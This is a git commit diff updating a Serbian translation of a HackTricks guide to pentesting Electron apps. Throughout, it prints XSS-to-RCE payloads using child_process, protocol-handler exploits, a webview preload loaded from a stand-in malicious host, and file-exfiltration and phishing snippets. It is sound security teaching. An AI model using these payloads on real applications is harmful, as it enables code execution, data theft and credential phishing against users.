mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/electron
This commit is contained in:
parent
73b3d300dc
commit
2fe579d18c
@ -2,16 +2,16 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Uvod
|
||||
## Introduction
|
||||
|
||||
Electron kombinuje lokalni backend (sa **NodeJS**) i frontend (**Chromium**), iako mu nedostaju neki od bezbednosnih mehanizama modernih pregledača.
|
||||
Electron kombinuje lokalni backend (sa **NodeJS**) i frontend (**Chromium**), iako mu nedostaju neki sigurnosni mehanizmi modernih pretraživača.
|
||||
|
||||
Obično možete pronaći kod electron aplikacije unutar `.asar` aplikacije, kako biste dobili kod, potrebno je da ga ekstrahujete:
|
||||
Obično ćete pronaći kod Electron aplikacije unutar `.asar` aplikacije; da biste dobili kod, potrebno ga je ekstrahovati:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
U izvornoj kodu Electron aplikacije, unutar `packet.json`, možete pronaći navedenu `main.js` datoteku gde su postavljene bezbednosne konfiguracije.
|
||||
U izvornom kodu Electron aplikacije, unutar `packet.json`, možete pronaći navedenu datoteku `main.js` u kojoj su postavljene sigurnosne konfiguracije.
|
||||
```json
|
||||
{
|
||||
"name": "standard-notes",
|
||||
@ -19,12 +19,12 @@ U izvornoj kodu Electron aplikacije, unutar `packet.json`, možete pronaći nave
|
||||
```
|
||||
Electron ima 2 tipa procesa:
|
||||
|
||||
- Glavni proces (ima potpun pristup NodeJS-u)
|
||||
- Proces renderera (treba da ima ograničen pristup NodeJS-u iz bezbednosnih razloga)
|
||||
- Main Process (ima potpuni pristup NodeJS-u)
|
||||
- Renderer Process (trebalo bi da ima ograničen pristup NodeJS-u iz bezbednosnih razloga)
|
||||
|
||||
.png>)
|
||||
|
||||
**Proces renderera** će biti prozor pregledača koji učitava datoteku:
|
||||
Jedan **renderer process** biće prozor pregledača koji učitava fajl:
|
||||
```javascript
|
||||
const { BrowserWindow } = require("electron")
|
||||
let win = new BrowserWindow()
|
||||
@ -32,20 +32,20 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
Podešavanja **renderer process** mogu se **konfigurisati** u **main process** unutar main.js datoteke. Neka od podešavanja će **sprečiti Electron aplikaciju da dobije RCE** ili druge ranjivosti ako su **podešavanja ispravno konfigurisana**.
|
||||
Podešavanja **renderer process** mogu se **konfigurisati** u **main process** unutar fajla main.js. Neka od podešavanja mogu da **spreče Electron aplikaciju da dobije RCE** ili druge ranjivosti ako su **podešavanja ispravno podešena**.
|
||||
|
||||
Electron aplikacija **može pristupiti uređaju** putem Node apija, iako se može konfigurisati da to spreči:
|
||||
Electron aplikacija **može pristupiti uređaju** preko Node APIs iako se to može konfigurisati da se to spreči:
|
||||
|
||||
- **`nodeIntegration`** - je `isključen` po defaultu. Ako je uključen, omogućava pristup node funkcijama iz renderer process.
|
||||
- **`contextIsolation`** - je `uključen` po defaultu. Ako je isključen, main i renderer procesi nisu izolovani.
|
||||
- **`preload`** - prazan po defaultu.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - je isključen po defaultu. Ograničiće akcije koje NodeJS može izvesti.
|
||||
- Node Integration u Workers
|
||||
- **`nodeIntegrationInSubframes`** - je `isključen` po defaultu.
|
||||
- Ako je **`nodeIntegration`** **omogućen**, to bi omogućilo korišćenje **Node.js API-a** na web stranicama koje su **učitane u iframes** unutar Electron aplikacije.
|
||||
- Ako je **`nodeIntegration`** **onemogućen**, tada će preloads biti učitani u iframe.
|
||||
- **`nodeIntegration`** - po defaultu je `off`. Ako je on, omogućava pristup Node funkcijama iz renderer process.
|
||||
- **`contextIsolation`** - po defaultu je `on`. Ako je `off`, main i renderer processes nisu izolovani.
|
||||
- **`preload`** - podrazumevano prazan.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - po defaultu je `off`. Ograničiće akcije koje NodeJS može izvršavati.
|
||||
- Node Integration in Workers
|
||||
- **`nodeIntegrationInSubframes`** - po defaultu je `off`.
|
||||
- Ako je **`nodeIntegration`** **omogućeno**, to bi omogućilo korišćenje **Node.js APIs** na web stranicama koje su **učitane u iframes** unutar Electron aplikacije.
|
||||
- Ako je **`nodeIntegration`** **onemogućeno**, preloads će se učitavati u iframe.
|
||||
|
||||
Primer konfiguracije:
|
||||
Example of configuration:
|
||||
```javascript
|
||||
const mainWindowOptions = {
|
||||
title: "Discord",
|
||||
@ -71,7 +71,7 @@ spellcheck: true,
|
||||
},
|
||||
}
|
||||
```
|
||||
Neki **RCE payloads** sa [ovde](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
Neki **RCE payloads** sa [here](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
```html
|
||||
Example Payloads (Windows):
|
||||
<img
|
||||
@ -95,15 +95,16 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
|
||||
src="x"
|
||||
onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
```
|
||||
### Capture traffic
|
||||
### Presretanje saobraćaja
|
||||
|
||||
Izmenite start-main konfiguraciju i dodajte korišćenje proksija kao što su:
|
||||
Izmenite konfiguraciju start-main i dodajte korišćenje proxy-ja kao na primer:
|
||||
```javascript
|
||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||
```
|
||||
## Electron Local Code Injection
|
||||
## Electron lokalna injekcija koda
|
||||
|
||||
Ako možete lokalno izvršiti Electron App, moguće je da ga naterate da izvrši proizvoljni javascript kod. Pogledajte kako u:
|
||||
|
||||
Ako možete lokalno izvršiti Electron aplikaciju, moguće je da možete izvršiti proizvoljni JavaScript kod. Proverite kako u:
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
|
||||
@ -111,7 +112,7 @@ Ako možete lokalno izvršiti Electron aplikaciju, moguće je da možete izvrši
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
Ako je **nodeIntegration** postavljen na **on**, JavaScript web stranice može lako koristiti Node.js funkcije jednostavno pozivajući `require()`. Na primer, način za izvršavanje kalkulator aplikacije na Windows-u je:
|
||||
Ako je **nodeIntegration** podešen na **on**, JavaScript web stranice može koristiti Node.js mogućnosti jednostavno pozivom `require()`. Na primer, način da se pokrene calc aplikacija na Windowsu je:
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -123,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
Skripta navedena u ovoj postavci je l**oaded pre drugih skripti u rendereru**, tako da ima **neograničen pristup Node API-ima**:
|
||||
Skript naveden u ovoj postavci je **učitavan pre ostalih skripti u rendereru**, tako da ima **neograničen pristup Node APIs**:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -132,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
|
||||
}
|
||||
});
|
||||
```
|
||||
Stoga, skript može da eksportuje node-features na stranice:
|
||||
Stoga skripta može eksportovati node-features na stranice:
|
||||
```javascript:preload.js
|
||||
typeof require === "function"
|
||||
window.runCalc = function () {
|
||||
@ -152,16 +153,16 @@ runCalc()
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
_**contextIsolation**_ uvodi **odvojene kontekste između skripti web stranice i unutrašnjeg JavaScript koda Electron-a** tako da izvršavanje JavaScript-a svakog koda ne utiče na druge. Ovo je neophodna funkcija za eliminaciju mogućnosti RCE.
|
||||
The _**contextIsolation**_ uvodi **odvojene kontekste između skripti web stranice i internog JavaScript koda Electron-a** tako da izvršavanje JavaScripta jednog koda ne utiče na drugi. Ovo je neophodna funkcija za eliminisanje mogućnosti RCE.
|
||||
|
||||
Ako konteksti nisu izolovani, napadač može:
|
||||
|
||||
1. Izvršiti **arbitrarni JavaScript u renderer-u** (XSS ili navigacija na spoljne sajtove)
|
||||
2. **Prepisati ugrađenu metodu** koja se koristi u preload-u ili unutrašnjem kodu Electron-a na svoju funkciju
|
||||
3. **Pokrenuti** korišćenje **prepisane funkcije**
|
||||
1. Izvršiti **proizvoljan JavaScript u renderer-u** (XSS ili navigaciju ka eksternim sajtovima)
|
||||
2. **Prepisati ugrađenu metodu** koja se koristi u preload-u ili internom Electron kodu kako bi se preuzela kontrola funkcije
|
||||
3. **Pokrenuti** upotrebu **prepisane funkcije**
|
||||
4. RCE?
|
||||
|
||||
Postoje 2 mesta gde se ugrađene metode mogu prepisati: U preload kodu ili u unutrašnjem kodu Electron-a:
|
||||
Postoje 2 mesta gde se built-in metode mogu prepisati: u preload kodu ili u internom Electron kodu:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -180,22 +181,22 @@ electron-contextisolation-rce-via-ipc.md
|
||||
|
||||
### Bypass click event
|
||||
|
||||
Ako postoje ograničenja kada kliknete na link, možda ćete moći da ih zaobiđete **srednjim klikom** umesto običnim levim klikom.
|
||||
Ako su primenjena ograničenja pri kliku na link, možda ih možete zaobići **srednjim klikom** umesto regularnog levog klika
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
## RCE putem shell.openExternal
|
||||
## RCE via shell.openExternal
|
||||
|
||||
Za više informacija o ovim primerima pogledajte [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) i [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
Kada se implementira Electron desktop aplikacija, osiguranje ispravnih podešavanja za `nodeIntegration` i `contextIsolation` je ključno. Utvrđeno je da **izvršavanje daljinskog koda na klijentskoj strani (RCE)** koje cilja preload skripte ili Electron-ov nativni kod iz glavnog procesa efikasno sprečava sa ovim podešavanjima.
|
||||
Prilikom postavljanja Electron desktop aplikacije, osiguravanje ispravnih podešavanja za `nodeIntegration` i `contextIsolation` je ključno. Utvrđeno je da **client-side remote code execution (RCE)** koja cilja preload skripte ili Electron-ov native kod iz glavnog procesa efikasno biva sprečena kada su ova podešavanja aktivirana.
|
||||
|
||||
Kada korisnik interaguje sa linkovima ili otvara nove prozore, aktiviraju se specifični slušači događaja, koji su ključni za bezbednost i funkcionalnost aplikacije:
|
||||
Kada korisnik interaguje sa linkovima ili otvori nove prozore, određeni slušači događaja se aktiviraju, koji su ključni za bezbednost i funkcionalnost aplikacije:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
Ovi slušatelji su **prepisani od strane desktop aplikacije** da implementiraju svoju vlastitu **poslovnu logiku**. Aplikacija procenjuje da li bi navigirani link trebao biti otvoren interno ili u spoljašnjem web pretraživaču. Ova odluka se obično donosi putem funkcije, `openInternally`. Ako ova funkcija vrati `false`, to ukazuje da link treba biti otvoren spolja, koristeći funkciju `shell.openExternal`.
|
||||
Ovi listeneri su **prepisani od strane desktop aplikacije** da bi implementirali sopstvenu **poslovnu logiku**. Aplikacija procenjuje da li navigirani link treba da se otvori interno ili u eksternom web pretraživaču. Odluka se obično donosi preko funkcije, `openInternally`. Ako ta funkcija vrati `false`, to znači da link treba da se otvori eksterno, koristeći funkciju `shell.openExternal`.
|
||||
|
||||
**Evo pojednostavljenog pseudokoda:**
|
||||
|
||||
@ -203,11 +204,11 @@ Ovi slušatelji su **prepisani od strane desktop aplikacije** da implementiraju
|
||||
|
||||
.png>)
|
||||
|
||||
Electron JS sigurnosne najbolje prakse savetuju protiv prihvatanja nepouzdanog sadržaja sa funkcijom `openExternal`, jer to može dovesti do RCE kroz različite protokole. Operativni sistemi podržavaju različite protokole koji mogu pokrenuti RCE. Za detaljne primere i dalju objašnjenje o ovoj temi, može se konsultovati [ovaj resurs](https://positive.security/blog/url-open-rce#windows-10-19042), koji uključuje primere Windows protokola sposobnih za iskorišćavanje ove ranjivosti.
|
||||
Electron JS security best practices savetuju da se ne prihvata nepouzdan sadržaj preko funkcije `openExternal`, jer to može dovesti do RCE preko različitih protokola. Operativni sistemi podržavaju različite protokole koji mogu pokrenuti RCE. Za detaljne primere i dalje objašnjenje na ovu temu, pogledajte [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), koji uključuje primere Windows protokola sposobnih da iskoriste ovu ranjivost.
|
||||
|
||||
U macOS-u, funkcija `openExternal` može biti iskorišćena za izvršavanje proizvoljnih komandi kao u `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
Na macos-u, funkcija `openExternal` može biti iskorišćena za izvršavanje proizvoljnih komandi, na primer `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
|
||||
**Primeri Windows protokolskih eksploatacija uključuju:**
|
||||
**Primeri exploita Windows protokola uključuju:**
|
||||
```html
|
||||
<script>
|
||||
window.open(
|
||||
@ -229,15 +230,15 @@ window.open(
|
||||
```
|
||||
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||
|
||||
Ova ranjivost se može naći u **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
Ova vuln se može naći u **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
|
||||
**webviewTag** je **deprecated feature** koja omogućava korišćenje **NodeJS** u **renderer process**, što bi trebalo biti onemogućeno jer omogućava učitavanje skripte unutar preload konteksta kao:
|
||||
The **webviewTag** is a **zastarela funkcionalnost** koja omogućava korišćenje **NodeJS** u **renderer process**, i treba da bude onemogućena jer omogućava učitavanje skripte u preload context, kao:
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
Stoga, napadač koji uspe da učita proizvoljnu stranicu mogao bi da iskoristi tu oznaku da **učita proizvoljan preload skript**.
|
||||
Stoga, napadač koji uspe da učita proizvoljnu stranicu mogao bi iskoristiti taj tag da **učita proizvoljan preload skript**.
|
||||
|
||||
Ovaj preload skript je zatim zloupotrebljen da pozove **ranjivu IPC uslugu (`skype-new-window`)** koja je pozivala **`shell.openExternal`** da bi dobila RCE:
|
||||
Ovaj preload skript je zatim zloupotrebljen da pozove **ranjivu IPC uslugu (`skype-new-window`)** koja je pozivala **`shell.openExternal`** i omogućila RCE:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
@ -250,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
||||
```
|
||||
## Čitanje internih fajlova: XSS + contextIsolation
|
||||
|
||||
**Onemogućavanje `contextIsolation` omogućava korišćenje `<webview>` tagova**, sličnih `<iframe>`, za čitanje i eksfiltraciju lokalnih fajlova. Primer prikazan ilustruje kako iskoristiti ovu ranjivost za čitanje sadržaja internih fajlova:
|
||||
**Onemogućavanje `contextIsolation` omogućava korišćenje `<webview>` tagova**, slično kao `<iframe>`, za čitanje i exfiltrating lokalnih fajlova. Dati primer pokazuje kako iskoristiti ovu ranjivost da se pročita sadržaj internih fajlova:
|
||||
|
||||
.png>)
|
||||
|
||||
Dalje, podeljena je još jedna metoda za **čitanje internog fajla**, ističući kritičnu ranjivost čitanja lokalnih fajlova u Electron desktop aplikaciji. Ovo uključuje injektovanje skripte za iskorišćavanje aplikacije i eksfiltraciju podataka:
|
||||
Dalje, podeljen je još jedan metod za **čitanje internog fajla**, koji ističe kritičnu ranjivost za lokalno čitanje fajlova u Electron desktop app. Ovo uključuje injektovanje skripte radi iskorišćavanja aplikacije i exfiltrate podataka:
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -270,23 +271,23 @@ frames[0].document.body.innerText
|
||||
</script>
|
||||
</h1>
|
||||
```
|
||||
## **RCE: XSS + Old Chromium**
|
||||
## **RCE: XSS + stariji chromium**
|
||||
|
||||
Ako je **chromium** koji koristi aplikacija **star** i postoje **poznate** **ranjivosti** u njemu, može biti moguće **iskoristiti ga i dobiti RCE putem XSS**.\
|
||||
Možete videti primer u ovom **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
Ako je **chromium** koji aplikacija koristi **stariji** i postoje **poznate** **ranjivosti** u njemu, može biti moguće da **iskoristite to i dobijete RCE kroz XSS**.\
|
||||
Možete videti primer u ovom **writeupu**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing putem zaobilaženja interne URL regex**
|
||||
## **XSS Phishing putem internog URL regex bypass**
|
||||
|
||||
Pretpostavljajući da ste pronašli XSS, ali **ne možete pokrenuti RCE ili ukrasti interne fajlove**, mogli biste pokušati da ga iskoristite za **krađu kredencijala putem phishinga**.
|
||||
Pretpostavimo da ste našli XSS, ali **ne možete pokrenuti RCE ili ukrasti interne fajlove** — možete pokušati da ga iskoristite za **ukrasti pristupne podatke putem phishinga**.
|
||||
|
||||
Prvo što treba da znate je šta se dešava kada pokušate da otvorite novu URL adresu, proveravajući JS kod u front-endu:
|
||||
Pre svega, treba da znate šta se dešava kada pokušate da otvorite novi URL, proverom JS koda u front-endu:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
Poziv na **`openInternally`** će odlučiti da li će **link** biti **otvoren** u **desktop prozoru** kao link koji pripada platformi, **ili** će biti otvoren u **pregledaču kao resurs treće strane**.
|
||||
Poziv **`openInternally`** odlučuje da li će **link** biti **otvoren** u **desktop prozoru** jer je to link koji pripada platformi, **ili** da li će biti otvoren u **pregledaču kao resurs treće strane**.
|
||||
|
||||
U slučaju da je **regex** koji koristi funkcija **ranjiv na zaobilaženje** (na primer, ako **ne escape-uje tačke poddomena**), napadač bi mogao da iskoristi XSS da **otvori novi prozor koji** će biti smešten u infrastrukturi napadača **tražeći kredencijale** od korisnika:
|
||||
U slučaju da je **regex** koji funkcija koristi **ranjiv na bypasses** (na primer time što **ne escape-uje tačke poddomena**) attacker bi mogao iskoristiti **XSS** da **otvori novi prozor koji** će biti lociran u infrastrukturi napadača i **tražiti credentials** od korisnika:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
@ -294,21 +295,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
```
|
||||
## `file://` Protokol
|
||||
|
||||
Kao što je pomenuto u [dokumentaciji](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), stranice koje se pokreću na **`file://`** imaju jednostrani pristup svakom fajlu na vašem računaru, što znači da se **XSS problemi mogu iskoristiti za učitavanje proizvoljnih fajlova** sa korisnikovog računara. Korišćenje **prilagođenog protokola** sprečava ovakve probleme jer možete ograničiti protokol na pružanje samo specifičnog skupa fajlova.
|
||||
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **prilagođeni protokol** prevents issues like this as you can limit the protocol to only serving a specific set of files.
|
||||
|
||||
## Remote modul
|
||||
|
||||
Electron Remote modul omogućava **renderer procesima pristup API-ima glavnog procesa**, olakšavajući komunikaciju unutar Electron aplikacije. Međutim, omogućavanje ovog modula uvodi značajne bezbednosne rizike. Proširuje napadnu površinu aplikacije, čineći je podložnijom ranjivostima kao što su napadi skriptovanja između sajtova (XSS).
|
||||
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
|
||||
|
||||
> [!TIP]
|
||||
> Iako **remote** modul izlaže neke API-je od glavnog do renderer procesa, nije jednostavno dobiti RCE samo zloupotrebom komponenti. Međutim, komponente mogu izložiti osetljive informacije.
|
||||
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
|
||||
|
||||
> [!WARNING]
|
||||
> Mnoge aplikacije koje još uvek koriste remote modul to rade na način koji **zahteva da NodeIntegration bude omogućen** u renderer procesu, što je **ogroman bezbednosni rizik**.
|
||||
> Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**.
|
||||
|
||||
Od Electron 14, `remote` modul Electron-a može biti omogućen u nekoliko koraka, ali zbog bezbednosnih i performansnih razloga je **preporučeno da se ne koristi**.
|
||||
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
|
||||
|
||||
Da bi se omogućio, prvo je potrebno **omogućiti ga u glavnom procesu**:
|
||||
To enable it, it'd first needed to **enable it in the main process**:
|
||||
```javascript
|
||||
const remoteMain = require('@electron/remote/main')
|
||||
remoteMain.initialize()
|
||||
@ -319,37 +320,39 @@ mainWindow = new BrowserWindow({
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
Zatim, proces renderovanja može uvesti objekte iz modula kao što su:
|
||||
Zatim, renderer proces može da importuje objekte iz modula na sledeći način:
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
**[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** ukazuje na neke zanimljive **funkcije** koje izlaže objekat **`app`** iz remote modula:
|
||||
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** ukazuje na neke zanimljive **funkcije** koje izlaže objekat **`app`** iz remote modula:
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **Ponovo pokreće** aplikaciju tako što **izlazi** iz trenutne instance i **pokreće** novu. Korisno za **ažuriranja aplikacija** ili značajne **promene stanja**.
|
||||
- **Ponovo pokreće** aplikaciju tako što **izlazi** iz trenutne instance i **pokreće** novu. Korisno za **ažuriranja aplikacije** ili značajne **promene stanja**.
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **Definiše** ili **stvara** direktorijum za čuvanje **logova aplikacije**. Logovi se mogu **pribaviti** ili **modifikovati** koristeći **`app.getPath()`** ili **`app.setPath(pathName, newPath)`**.
|
||||
- **Definiše** ili **kreira** direktorijum za čuvanje **logova aplikacije**. Logovi se mogu **preuzeti** ili **izmeniti** koristeći **`app.getPath()`** ili **`app.setPath(pathName, newPath)`**.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- **Registruje** trenutni izvršni fajl kao **podrazumevani handler** za određeni **protokol**. Možete navesti **prilagođeni put** i **argumente** ako je potrebno.
|
||||
- **Registruje** trenutni izvršni fajl kao **podrazumevani handler** za specificirani **protokol**. Možete navesti **prilagođenu putanju** i **argumente** po potrebi.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **Dodaje** zadatke u **kategoriju zadataka** u **Jump List** (na Windows-u). Svaki zadatak može kontrolisati kako se aplikacija **pokreće** ili koje **argumente** se prosleđuju.
|
||||
- **Dodaje** zadatke u **Tasks category** u **Jump List** (na Windows). Svaki zadatak može da kontroliše kako se aplikacija **pokreće** ili koji se **argumenti** prosleđuju.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- **Uvozi** **PKCS#12 sertifikat** u sistemski **sertifikat store** (samo Linux). **Callback** se može koristiti za obradu rezultata.
|
||||
- **Uvozi** PKCS#12 sertifikat u sistemski **certificate store** (samo Linux). Može se koristiti **callback** za obradu rezultata.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- **Premesta** aplikaciju u **Applications folder** (na macOS). Pomaže da se osigura **standardna instalacija** za Mac korisnike.
|
||||
- **Premešta** aplikaciju u **Applications folder** (na macOS). Pomaže da se obezbedi **standardna instalacija** za Mac korisnike.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Postavlja** ili **uklanja** **prilagođeni Jump List** na **Windows-u**. Možete specificirati **kategorije** da organizujete kako se zadaci prikazuju korisniku.
|
||||
- **Postavlja** ili **uklanja** prilagođeni **Jump List** na **Windows**. Možete navesti **kategorije** da organizujete kako se zadaci prikazuju korisniku.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- **Konfiguriše** koje **izvršne fajlove** se pokreću pri **prijavljivanju** zajedno sa njihovim **opcijama** (samo macOS i Windows).
|
||||
- **Konfiguriše** koji **izvršni fajlovi** se pokreću pri **prijavi**, zajedno sa njihovim **opcijama** (samo macOS i Windows).
|
||||
|
||||
Primer:
|
||||
```javascript
|
||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||
Native.app.exit()
|
||||
```
|
||||
## systemPreferences модул
|
||||
## systemPreferences modul
|
||||
|
||||
**Примарни API** за приступ системским подешавањима и **емитовање системских догађаја** у Electron-у. Методи као што су **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** и **setUserDefault** су сви **део** овог модула.
|
||||
Glavni **API** za pristup sistemskim podešavanjima i **emitovanje sistemskih događaja** u Electronu. Metode kao što su **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, i **setUserDefault** su sve **deo** ovog modula.
|
||||
|
||||
**Пример коришћења:**
|
||||
**Primer upotrebe:**
|
||||
```javascript
|
||||
const { systemPreferences } = require('electron');
|
||||
|
||||
@ -364,33 +367,33 @@ console.log('Recent Places:', recentPlaces);
|
||||
```
|
||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||
|
||||
* **Sluša** **nativne macOS obaveštenja** koristeći NSDistributedNotificationCenter.
|
||||
* Pre **macOS Catalina**, mogli ste da presretnete **sva** distribuirana obaveštenja tako što ste prosledili **nil** CFNotificationCenterAddObserver.
|
||||
* Nakon **Catalina / Big Sur**, aplikacije u sandbox-u mogu i dalje da se **pretplate** na **mnoge događaje** (na primer, **zaključavanje/otključavanje ekrana**, **montiranje volumena**, **mrežna aktivnost**, itd.) registrujući obaveštenja **po imenu**.
|
||||
* **Sluša** nativne macOS notifikacije koristeći NSDistributedNotificationCenter.
|
||||
* Pre **macOS Catalina**, moglo se presretati **sve** distribuirane notifikacije prosleđivanjem **nil** u CFNotificationCenterAddObserver.
|
||||
* Posle **Catalina / Big Sur**, sandboxovane aplikacije i dalje mogu da se **pretplate** na **mnoge događaje** (na primer, **zaključavanje/otključavanje ekrana**, **mountovanje volumena**, **mrežna aktivnost**, itd.) registrovanjem notifikacija **po imenu**.
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* **Interfejs** sa **NSUserDefaults**, koji čuva **aplikacione** ili **globalne** postavke na macOS-u.
|
||||
* **Interfejsira** sa **NSUserDefaults**, koji čuva **aplikacione** ili **globalne** preferencije na macOS-u.
|
||||
|
||||
* **getUserDefault** može da **pribavi** osetljive informacije, kao što su **lokacije nedavnih datoteka** ili **geografska lokacija korisnika**.
|
||||
* **getUserDefault** može da **dohvati** osetljive informacije, poput **lokacija nedavno otvorenih fajlova** ili **geografske lokacije korisnika**.
|
||||
|
||||
* **setUserDefault** može da **modifikuje** ove postavke, potencijalno utičući na **konfiguraciju** aplikacije.
|
||||
* **setUserDefault** može da **izmeni** ove preferencije, potencijalno utičući na **konfiguraciju** aplikacije.
|
||||
|
||||
* U **starijim verzijama Electron-a** (pre v8.3.0), samo je **standardni paket** NSUserDefaults bio **dostupan**.
|
||||
* U **starijim verzijama Electron-a** (pre v8.3.0), bio je dostupan samo **standardni skup** NSUserDefaults.
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
Ova funkcija prikazuje datoteku u upravitelju datoteka, što **može automatski izvršiti datoteku**.
|
||||
Ova funkcija prikazuje dati fajl u file manageru, što bi moglo **automatski izvršiti fajl**.
|
||||
|
||||
Za više informacija pogledajte [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
Electron aplikacije treba da imaju **Content Security Policy (CSP)** kako bi **sprečile XSS napade**. **CSP** je **bezbednosni standard** koji pomaže da se **spreči** **izvršavanje** **nepouzdanog koda** u pretraživaču.
|
||||
Electron aplikacije treba da imaju **Content Security Policy (CSP)** kako bi se **sprečili XSS napadi**. **CSP** je bezbednosni standard koji pomaže da se **onemogući izvršavanje nepouzdanog koda** u browser-u.
|
||||
|
||||
Obično je **konfigurisano** u **`main.js`** datoteci ili u **`index.html`** šablonu sa CSP unutar **meta taga**.
|
||||
Obično se **konfiguriše** u fajlu **`main.js`** ili u **`index.html`** šablonu sa CSP-om unutar **meta taga**.
|
||||
|
||||
Za više informacija pogledajte:
|
||||
For more information check:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -400,16 +403,16 @@ pentesting-web/content-security-policy-csp-bypass/
|
||||
|
||||
## **Tools**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) je alat za identifikaciju pogrešnih konfiguracija i bezbednosnih anti-šablona u aplikacijama zasnovanim na Electron-u.
|
||||
